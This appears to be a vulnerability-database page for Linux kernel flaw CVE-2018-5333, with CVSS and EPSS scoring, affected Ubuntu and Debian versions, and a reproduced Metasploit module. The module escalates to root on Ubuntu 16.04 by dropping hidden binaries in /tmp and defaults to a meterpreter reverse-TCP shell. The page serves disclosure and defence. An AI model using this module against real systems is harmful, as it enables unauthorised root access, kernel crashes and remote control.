Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-476 |
NULL Pointer Dereference The product dereferences a pointer that it expects to be valid but is NULL. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
5.5 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
4.9 |
|
AV:L/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 47957
Publication date : 2020-01-22 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Compile
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a NULL pointer dereference in the `rds_atomic_free_op` function in the
Reliable Datagram Sockets (RDS) kernel module (rds.ko).
Successful exploitation requires the RDS kernel module to be loaded.
If the RDS module is not blacklisted (default); then it will be loaded
automatically.
This exploit supports 64-bit Ubuntu Linux systems, including distributions
based on Ubuntu, such as Linux Mint and Zorin OS.
Target offsets are available for:
Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.
This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.
Failed exploitation may crash the kernel.
This module has been tested successfully on various 4.4 and 4.8 kernels.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333)
'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213)
'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic
'bcoles', # Metasploit module and updated C exploit
'nstarke' # Additional kernel offsets
],
'DisclosureDate' => '2018-11-01',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2018-5333' ],
[ 'CVE', '2019-9213' ],
[ 'BID', '102510' ],
[ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ],
[ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ]
],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
},
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
return CheckCode::Safe("System architecture #{arch} is not supported")
end
vprint_good "System architecture #{arch} is supported"
offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
kernels = offsets.scan(/"(.+?)"/).flatten
version = "#{kernel_release} #{kernel_version.split(' ').first}"
unless kernels.include? version
return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
end
vprint_good "Linux kernel #{version} is vulnerable"
if smap_enabled?
return CheckCode::Safe('SMAP is enabled')
end
vprint_good 'SMAP is not enabled'
if lkrg_installed?
return CheckCode::Safe('LKRG is installed')
end
vprint_good 'LKRG is not installed'
if grsec_installed?
return CheckCode::Safe('grsecurity is in use')
end
vprint_good 'grsecurity is not in use'
unless kernel_modules.include? 'rds'
vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'
return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')
end
vprint_good 'rds.ko kernel module is loaded'
CheckCode::Appears
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out')
end
register_file_for_cleanup exploit_path
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup payload_path
# mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete
timeout = 30
print_status "Launching exploit (timeout: #{timeout})..."
output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)
output.each_line { |line| vprint_status line.chomp }
end
end
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (including) 4.14.13
Configuraton 0
Debian>>Debian_linux >> Version 7.0
Debian>>Debian_linux >> Version 8.0
Configuraton 0
Canonical>>Ubuntu_linux >> Version 12.04
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 17.10
References